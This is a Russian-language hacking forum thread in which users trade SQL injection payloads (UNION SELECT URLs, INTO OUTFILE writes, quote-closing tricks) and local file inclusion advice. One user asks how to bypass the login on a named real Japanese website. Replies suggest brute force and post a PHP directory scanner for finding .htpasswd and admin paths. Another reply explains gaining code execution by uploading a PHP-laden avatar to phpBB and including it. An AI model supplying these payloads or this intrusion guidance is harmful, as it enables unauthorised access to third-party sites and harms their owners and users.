v1d0qz не имеет значение через что давать БД команды .. пхпмайадмин это всего лишь ГУИ ... поэтому файл если не ошибаюсь если не указываеть полную дерикторию зальётся в папку с Базой ... но в этом я не уверен =)
Если указать слэш перед названием, то зальется в корень, а если не указывать, как у тебя в примере, то он скорее всего зальется туда, где хранятся записи самого мускула, вот тебе резалт теста на локалхосте: Запрос: SELECT * FROM injection.uzaz INTO OUTFILE '/dump.txt' Итоговое расположение: [DISK]:\usr\local\mysql5\data\injection
http://site.ru/script.php?id=-1'+union+select+1,2,3,4+--+ Будет работать при mq=off PHP: mysql_query("SELECT * FROM articles WHERE id=".$_GET['id'].""); Когда стоят кавычки '', запрос получается: PHP: $response=mysql_query("SELECT * FROM articles WHERE id='1+union+select+1,3,4+--+'"); php вернет ошибку из-за незакрытой кавычки. Нужно закрыть кавычку и делать запрос: PHP: $response=mysql_query("SELECT * FROM articles WHERE id='1' union select 1,2,3,4+--+'"); Читай: http://forum.antichat.ru/thread19844.html
прав, но зачем? ведь но суть вопроса не в этом. бред, что за "незакрытая кавычка"? и в данном случае ошибку mysql_fetch_array возвращает не mysql, а php.
Всем привет, у меня такой вопрос есть японский сайт http://www.104club.info/ там есть подраздел http://www.104club.info/indicator но при переходе он требует логин и пароль, кто может подсказать как его обойти? Заранее спасибо
Обойти можно, как правильно подметил nemaniak, только брутом. Попробуй просканить сайтец на полезные файлы/папки, авось и .htpasswd доступен для чтения . Может че найдешь. Лови скриптик на скорую руку PHP: <form action='<?=$_SERVER[PHP_SELF]?>' method='POST'> <pre> URL without ending slash!:<a href='#' title='exmpl: http://www.site.com' style='text-decoration: none'>?</a><input type='text' name='host' size='50' /><br/> File with dirs:<a href='#' title='exmpl: dirs.txt (with Path)' style='text-decoration: none'>?</a> <input type='text' name='dirs' size='50' value='./dirs.txt'/><br/> <input type='submit' name='gogo' value='Scan' /> </pre> </form> <hr/> <?php if($_POST['gogo'] && trim($_POST['host']) != '' && trim($_POST['dirs']) != ''){ $host = $_POST['host']; $dirs = @file($_POST['dirs']); if (!$dirs) die ('Can`t open file'); foreach ($dirs as $v){ $temp = @get_headers($host.trim($v)); $found = false; if (preg_match('#200#', $temp[0])) {echo $host.'<b>'.$v.'</b> found! <br/>';} if (preg_match('#403#', $temp[0])) {echo $host.'<b>'.$v.'</b> is forbidden! <br/>';} if (preg_match('#404#', $temp[0])) { continue;} } } else if ($_POST['gogo'] && (trim($_POST['host']) == '' || trim($_POST['dirs']) == '')) { die('All fields required'); } ?> Файл dirs должен быть вот такого вида: /admin/ /admin.php /indicator ...
Спасибо, помогло. понял. постате ему +. А теперь расскажите пожалуйста, почему так работает Code: .php?id=-1[COLOR=DarkOrange]'[/COLOR]+union+select+1,version(),3,4,5,6,7,8+--+ а так нет Code: .php?id=-1[COLOR=DarkOrange]'[/COLOR]+union+select+1,version(),3,4,5,6,7,8-- т.е. как влияют плюсики??
Он спросил,почему без пробела не работает. А частные случаи это уже вообще не в тему. Такое чувство,что тебе пофиг что писать, лишь бы что-то.
всем привет...объясните плз, вот часто вижу такие варианты инъекций ?id=123+and+1=0+union+select+1,2,3/* ?id=123+or+1=0+union+select+1,2,3/* с подстановкой ', +and+1=2, +or+1=2 и т.д. для поиска уязвимостей вроде понятно, а для чего нужны вышеприведенные примеры? что они делают? из того что я нашел вроде что-то понятно, но не до конца ) может кто нить объяснить??
Gidz, не во всех случаях бывает, что Выводится ошибка, бывает просто пустой лист, поэтому и применяются подзапросы типа and или or, например, если это выводит ошибку ?id=123+and+1=0+union+select+1,2,3/*, а ?id=123+and+1=1+union+select+1,2,3/* выводит саму страницу 123, то мы имеем инъекцию
Зачем говоришь, если сам абсолютно ничего в этом не понимаешь? "and 1=0" это не подзапрос. Бывает так, что из БД не выводятся в цикле все значения, а только первая запись. При запросе Code: SELECT `id`, `username`, `password` FROM `users` WHERE `id` = 1 UNION SELECT 1,2,3 mysql вернет результат, состоящий из двух строк, примерно так: Code: 1 admin pass 1 2 3 Так вот, если в скрипте выводится только первая строка, то надо сделать так, чтобы первой была строка с нашей инъекцией, поэтому и добавляется "and 1=0", "and null", etc... Таким образом запрос будет: Code: SELECT `id`, `username`, `password` FROM `users` WHERE `id` = 1 AND 1=0 UNION SELECT 1,2,3 Тоесть с БД выбирается та строка, где id = 0 и 1 = 2. 1 не будет равно 2 никогда, поэтому такой строки нету, и первой будет строка Code: 1 2 3
Есть сайт на котором если 2 инклуда но в обеих стоит папка в скрипте допустим PHP: include('config/'.$page.'.php'); $page передается без экранирования Можно ли сделать инклуд с внешних ресурсов, если нет то что можно полезного достать через локальный инклуд ПС на сайте есть форум phpBB
С внешних ресурсов не заинклудишь, т.к. есть префикс config, НО тебе крупно повезло, что есть phpBB форум. Зарегайся на нем, залей аватару с PHP-кодом, проинклудь её, PHP-код выполнится.